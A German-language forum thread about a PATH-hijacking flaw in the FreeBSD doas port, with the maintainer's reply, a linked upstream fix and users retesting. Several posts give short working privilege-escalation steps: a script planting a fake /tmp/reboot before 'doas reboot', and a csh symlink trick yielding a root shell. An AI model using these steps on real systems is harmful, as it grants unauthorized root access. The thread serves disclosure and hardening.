• Diese Seite verwendet Cookies. Indem du diese Website weiterhin nutzt, erklärst du dich mit der Verwendung von Cookies einverstanden. Erfahre mehr

doas unter FreeBSD

Rakor

Administrator
Mitarbeiter
Themenstarter #1
Im Thread https://www.bsdforen.de/threads/min...-verbindungstool-für-ethernet-und-wifi.33754/ bin ich über doas unter FreeBSD gestolpert und wollte es mir mal ansehen.

Ich empfand es komisch, dass wenn ich nur den Namen einer ausführbaren Datei in der doas.conf angebe, dies anscheinend für die erste Datei gilt die er im Pfad findet. Das schien mir ein Sicherheitsproblem zu sein woraufhin mich @mogbo auf folgende Seite hinwies: https://www.tedunangst.com/flak/post/doas-mastery

Genauer gesagt auf den Abschnitt:
doas will restrict itself to only executing commands in the system PATH (/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin).
Quelle: https://www.tedunangst.com/flak/post/doas-mastery

Soweit so gut, also hab ich mal getestet.
Wenn meine doas.conf diese Zeile enthält:
Code:
permit nopass :operator cmd reboot
Also wir gehen davon aus, dass operatoren einen Reboot machen dürfen.

Dann lege ich mir mal das folgende Script an:
Code:
#!/bin/sh
echo -e "#!/bin/sh\necho Who am I?\nid" > /tmp/reboot
chmod 777 /tmp/reboot
PATH=/tmp:$PATH
doas reboot
und erhalte beim Ausführen folgende Angabe:
Code:
Who am I?
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
Mir sagt id doch direkt, dass ich mir hier root-rechte erschlichen habe.... Kann/darf/soll das so sein?
 

Rakor

Administrator
Mitarbeiter
Themenstarter #3
Der Maintainer des Ports sagt:
Your finding is correct, which is why the manual page says commands
listed in the doas.conf file should be provided with their full path
name, not just the name of the command. It is recommended you use
"/sbin/reboot" instead of just "reboot".

The article is not correct, at least not for non-OpenBSD platforms.
Ergo: Vorsicht mit doas abseits seiner Heimat.
 

mordin

Active Member
#4
Mir sagt id doch direkt, dass ich mir hier root-rechte erschlichen habe.... Kann/darf/soll das so sein?
Darf nicht so sein. Das Problem ist die execvpe()-Implementation die momentan im doas Port steckt. Die kommt momentan nämlich nicht von OpenBSD sondern von irgendwoher...

Siehe https://github.com/slicer69/doas/pull/13 ...

Ergo: Vorsicht mit doas abseits seiner Heimat.
Absolut richtig.
Der Maintainer des Ports sagt:
Tja, das ist ziemlich falsch... Der Maintainer scheint der Ansicht zu sein, dass es ok ist wenn doas sich auf anderen Platformen anders verhält als unter OpenBSD...
 
H

holgerw

Guest
#6
Hallo,

mal eine Zwischenfrage eines Anwenders: Was bedeutet das nun für die Nutzung von networkmgr unter FreeBSD, was doas auch nach sich zieht?
 

Rakor

Administrator
Mitarbeiter
Themenstarter #7
Mit der doas.conf die im Port beschrieben wird kann jeder Anwender bzw Prozess der der Gruppe wheel angehört beliebigen Code als root ausführen wenn er das Environment kurz anpasst.
Man müsste testen ob networkmgr auch klar kommt wenn in der doas.conf die Anwendungen mit absolutem Pfad angegeben werden.
 

mordin

Active Member
#8
Hallo,

mal eine Zwischenfrage eines Anwenders: Was bedeutet das nun für die Nutzung von networkmgr unter FreeBSD, was doas auch nach sich zieht?
networkmgr benötigt Regeln wie diese hier in doas.conf
Code:
permit nopass keepenv :wheel cmd service
Mit dem momentanen Verhalten von doas kannst du dadurch einfach so eine root-Shell bekommen:
Code:
ln -s /bin/csh service
env PATH=".:$PATH" doas service
@Rakor: Danke für deinen Kommentar auf GitHub
 

Rakor

Administrator
Mitarbeiter
Themenstarter #9
Ach ich seh gerade, dass der auch service und ifconfig als cmd angibt. Das sollte man auch tunlichst mit args vernknüpfen damit der Benutzer nur das machen kann was er braucht. Also mit der doas kann ein Benutzer in wheel alles mögliche tun, selbst wenn das PATH-Problem nicht wäre.
Mir scheint das Projekt hat nicht viel nachgedacht was sie da tun.
 
H

holgerw

Guest
#10
Man müsste testen ob networkmgr auch klar kommt wenn in der doas.conf die Anwendungen mit absolutem Pfad angegeben werden.
Werde ich Morgen machen und mal berichten.

Und die Abstürze von networkmgr sind dann das nächste, was mal angegangen werden kann. Vielleicht wird dank des Forums und einiger Experten hier daraus doch noch ein richtig tolles Tool in Hinsicht Sicherheit und Stabilität.

Bleibt dann nur noch die Abhängigkeit zu gtk :D
 
#14
Das PATH-Problem wurde angeblich behoben. Hab es aber noch nicht getestet.
Zur Vollständigkeit noch die Diskussion auf github
https://github.com/slicer69/doas/pull/13

Zitat von @Rakor
Code:
rakor commented 2 days ago
With doas you want to make things done better, faster, safer... If the user has to type 'doas /usr/local/bin/mycommand' (even if he uses completion) he will think "are you kidding me?" If you use doas or similar tools you should know what you are doing. And if evil jim is allowed to place executables in system-paths you've already lost the war. So if someone wants to use absolute paths for security reasons, she can do. But if someone wants to save some typing, she is allowed also.

I don't think it is a good idea if security-software behaves differently on different systems. This will definitively bring a lot of unsecure systems.
Könnte fast von Theo stammen :)
 
H

holgerw

Guest
#16
Gibts denn schon neue Erkenntnisse ?
Sorry, Walter, Du hast recht mit dieser Nachfrage: Ja, es gibt die Erkenntnis, dass mein langjähriges Thinkpad R500, mit welchem ich testen wollte wohl partitiell hinüber ist. :(

Zu Testzwecken habe ich schon vor zwei Tagen angefangen, erst ein GhostBSD mit Mate und networkmgr aufzusetzen (das zickte nur herum, keine Wlan-Verbindung kam zustande). Ein natives FreeBSD bringt dann sogar auf klassischen Weg (manuelle Einträge in die wpa_supplicant.conf) keine Verbindung mehr zustande (der Wlan-Chip geht ständig nur up und down, dann wird ständig beim Verbindungsversuch der Firmware-Microcode für den Chip eingeblendet und dann versagt der dhcp-Client. Dieses Notebook ist normalerweise samt der Grafik und Wlan- und Lan-Schnittstellen hervorragend FreeBSD tauglich und hat beim Installieren und der Wlan-Einrichtung bisher keinerlei Schwierigkeiten gemacht.
 
H

holgerw

Guest
#17
Hallo,

nach Tipps zu meinem Intel Wlan-Chip kann ich nun auch mein TP R500 wieder ordentlich unter FreeBSD11.1 nutzen.

@Rakor, ich habe als User nun genau das hier gemacht:
Code:
#!/bin/sh
echo -e "#!/bin/sh\necho Who am I?\nid" > /tmp/reboot
chmod 777 /tmp/reboot
PATH=/tmp:$PATH
doas reboot
Das Skript heißtbei mir doastest, ich habe es ausführbar gemacht, wenn ich das nun als User starte, erhalte ich folgende Ausgabe:
Code:
doas: Operation not permitted
Die /usr/local/etc/doas.conf habe ich genauso wie beim ersten Test angelegt.

Dann ist die Sicherheitslücke von doas wohl repariert worden vom FreeBSD Maintainer.

Ein wichtiger Hinweis ist vielleicht noch, dass ich hier "latest" in der FreeBSD.conf stehen habe.
 
#18
Die /usr/local/etc/doas.conf habe ich genauso wie beim ersten Test angelegt.
Ich tippe mal darauf, das dein User nicht in der Gruppe operator ist?

Ich habe nicht nachgesehen wie genau das Problem gelöst wurde, aber von der Logik her müsste ein reboot durchgeführt werden

Code:
permit nopass :wheel cmd reboot # falls dein User in wheel liegt
permit nopass meinuser cmd reboot # wäre auch eine Möglichkeit
 
H

holgerw

Guest
#19
Hi @mogbo,

Ich tippe mal darauf, das dein User nicht in der Gruppe operator ist?

Ich habe nicht nachgesehen wie genau das Problem gelöst wurde, aber von der Logik her müsste ein reboot durchgeführt werden

Code:
permit nopass :wheel cmd reboot # falls dein User in wheel liegt
permit nopass meinuser cmd reboot # wäre auch eine Möglichkeit
Den User in die Gruppe "operator" zu packen, gehört zu den empfohlenen "Standards" verschiedener Dokumentationen, ich bin in der Gruppe "wheel" und "operator".
 
H

holgerw

Guest
#21
https://github.com/slicer69/doas/commit/4bd6c1c178434538995d56b5e0a39ded45b6a024
Verhält sich dann wohl anders als das Original, auf OpenBSD-current führt man einen reboot aus
Für mich ist dieser Thread schon deshalb spannend, weil ich so erfahre, dass "unter der Haube" sich OpenBSD und FreeBSDD wohl doch in einigen Sachen unterscheiden. Manche vermeintlich einfachen Adaptionen von Werkzeugen weisen dann doch Stolpersteine auf. Aber wenn es zu reparieren ist und zeitnah reagiert wird, dann ist das doch auch gar nicht schlimm.
 

mordin

Active Member
#22
Das Skript heißtbei mir doastest, ich habe es ausführbar gemacht, wenn ich das nun als User starte, erhalte ich folgende Ausgabe:
Hmm, bei mir funktioniert das jetzt so wie unter OpenBSD (also /tmp/reboot wird ignoriert und das System startet neu). "doas: Operation not permitted" kriegt man eigentlich nur wenn keine Regeln in doas.conf zutrifft.
 
H

holgerw

Guest
#23
Hallo,

ich habe eine /usr/local/etc/doas.conf mit folgendem Inhalt:
Code:
permit nopass keepenv :wheel cmd netcardmgr
    permit nopass keepenv :wheel cmd detect-nics
    permit nopass keepenv :wheel cmd detect-wifi
    permit nopass keepenv :wheel cmd ifconfig
    permit nopass keepenv :wheel cmd service
    permit nopass keepenv :wheel cmd wpa_supplicant
Das war ja die Ausgangssituation bei meinem Minihowto zu networkmgr, wo genau dieser Hinweis kam, dass in die /usr/local/etc/doas.conf zu packen und was dann im weiteren Threadverlauf als problematisch betrachtet wurde.

Und ich habe als User holger, der in den Gruppen wheel und operator ist, unter /home/holger das ausführbare Skript doastest:
Code:
#!/bin/sh
echo -e "#!/bin/sh\necho Who am I?\nid" > /tmp/reboot
chmod 777 /tmp/reboot
PATH=/tmp:$PATH
doas reboot
Und wenn ich das als User holger dann aufrufe mit ./doastest, kommt bei mir die doas Meldung Operation not permitted
 

mordin

Active Member
#24
Das war ja die Ausgangssituation bei meinem Minihowto zu networkmgr, wo genau dieser Hinweis kam, dass in die /usr/local/etc/doas.conf zu packen und was dann im weiteren Threadverlauf als problematisch betrachtet wurde.
Problematisch daran war ja das alte Verhalten von doas: Für cmds mit nicht absoluten Pfadangaben hat es blind den PATH vom User durchsucht anstatt einen restriktiveren PATH wie unter OpenBSD.

Und wenn ich das als User holger dann aufrufe mit ./doastest, kommt bei mir die doas Meldung Operation not permitted
Wenn ich das richtig sehe, dann fehlt in deiner doas.conf ein Eintrag für reboot:
Code:
permit nopass :wheel cmd reboot
 
H

holgerw

Guest
#25
Edit: @mordin Du warst eine Sekunde schneller, ich habe es jetzt vollständig verstanden.

permit nopass :wheel cmd reboot # falls dein User in wheel liegt permit nopass meinuser cmd reboot # wäre auch eine Möglichkeit
Ähm, okay, das steht nicht in meiner /usr/locasl/etc/doasd.conf (die ja nur durch root modifiziert werden darf).

Argh, ich habe das Problem offenbar nur halb verstanden, aber zusammen mit dem Eingangspost von @Rakor verstehe ich:

Es geht gar nicht primär um das Reboot, was ich als normaler User machen kann, sondern darum:
und erhalte beim Ausführen folgende Angabe:
Code:
Who am I?
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
Mir sagt id doch direkt, dass ich mir hier root-rechte erschlichen habe.... Kann/darf/soll das so sein?
Und das wurde jetzt behoben: Wenn die doas.conf ein reboot enthielte (habe gerade mein Notebook nicht zur Hand), dann sollte jetzt ein reboot erfolgen (richtiges Verhalten).